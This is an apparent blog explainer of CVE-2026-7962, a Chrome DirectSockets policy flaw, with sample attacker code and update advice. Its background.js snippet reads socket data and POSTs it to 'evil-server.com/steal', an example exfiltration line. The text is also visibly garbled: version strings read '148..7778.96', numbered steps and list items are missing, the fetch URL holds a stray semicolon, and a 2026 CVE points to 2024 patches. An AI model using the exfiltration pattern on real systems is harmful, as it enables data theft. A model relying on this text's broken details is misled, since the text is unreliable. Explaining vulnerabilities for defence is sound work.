A new vulnerability, CVE-2026-7962, has been identified in Google Chrome’s DirectSockets API, exposing users to potential arbitrary read and write actions from malicious Chrome extensions. If you’re a Chrome user or developer, you need to understand this flaw and its impact. Let’s break down what happened, how an attacker can exploit it, and how you can protect yourself.

What is DirectSockets?

DirectSockets is an API available in Chrome that allows approved web apps—typically Chrome Extensions—to open and manage sockets, supporting advanced network communication outside the standard web model. This powerful feature is mostly used by enterprise or advanced developers for specialized tasks like custom network protocols or connecting to legacy systems.

Reference:
- Chromium DirectSockets documentation

The Vulnerability: Insufficient Policy Enforcement

In Chrome versions prior to 148..7778.96, a logic bug in the DirectSockets permission system did not enforce policies as strictly as intended. This gap enabled malicious extensions to request—or escalate—their DirectSockets permissions and misuse the powerful API to:

Write potentially harmful data to those endpoints

This was categorized as a medium severity issue by the Chromium security team.

Official Chromium Security Advisory:
- Chromium Issue 412126 – Insufficient DirectSockets policy enforcement
- CVE-2026-7962 at NVD

The attacker authors an extension that requests the directSockets permission in its manifest

{
  "name": "Evil Extension",
  "version": "1.",
  "manifest_version": 3,
  "permissions": [
    "directSockets"
  ],
  "background": {
    "service_worker": "background.js"
  }
}

2. Malicious Code Establishes a DirectSocket

Once the permission is granted—often through tricking the user or exploiting weak policy enforcement—the extension’s background script may run code like this:

// background.js
async function connectToSocket(ip, port) {
  const options = {
    address: ip,
    port: port,
    protocol: 'tcp'
  };

  // Before the patch, insufficient checks might have allowed arbitrary IP/port
  const socket = await chrome.directsockets.create(options);
  return socket;
}

### 3. Arbitrary Read/Write

Using the returned socket, the extension could now read sensitive data or send arbitrary data to local or remote systems:

// Reading data
socket.read().then(data => {
  // exfiltrate or process data
  fetch('https://evil-server.com/steal';, {
    method: 'POST',
    body: data
  });
});

// Writing data
socket.write(new TextEncoder().encode("MALICIOUS DATA"))

4. Exfiltration or System Manipulation

The extension could steal personal files, credentials, connect to internal servers behind your firewall, or even inject data to manipulate other systems.

Real-World Exploit Scenario

Imagine an attacker publishing an innocent-looking extension. The victim installs it, and the extension silently opens a DirectSocket to an internal company server (which should only be accessible inside the network). The extension can now:

Issue commands to internal applications

This is possible because Chrome, prior to version 148..7778.96, failed to check if the policy allowed such access for this extension.

Official Fix

Google patched the bug in Chrome version 148..7778.96. The fix:

Better isolation for Chrome Extensions using this API

Upgrade Chrome immediately to 148..7778.96 or later.

Update Chrome to the latest version.

- Be cautious when installing extensions—especially those requesting networking or DirectSockets permissions.

resources

- Chromium Security Advisories
- CVE-2026-7962 on NIST
- Official fix in Chrome source *(look for patches after March 2024)*

Conclusion

CVE-2026-7962 is a reminder of how powerful new browser APIs, like DirectSockets, must be tightly safeguarded. Even a small policy slip can expose millions to data theft or system manipulation. Always update your browser—and double check any extension’s permissions before installation.

Timeline

Published on: 05/06/2026 18:12:53 UTC
Last modified on: 05/07/2026 02:02:56 UTC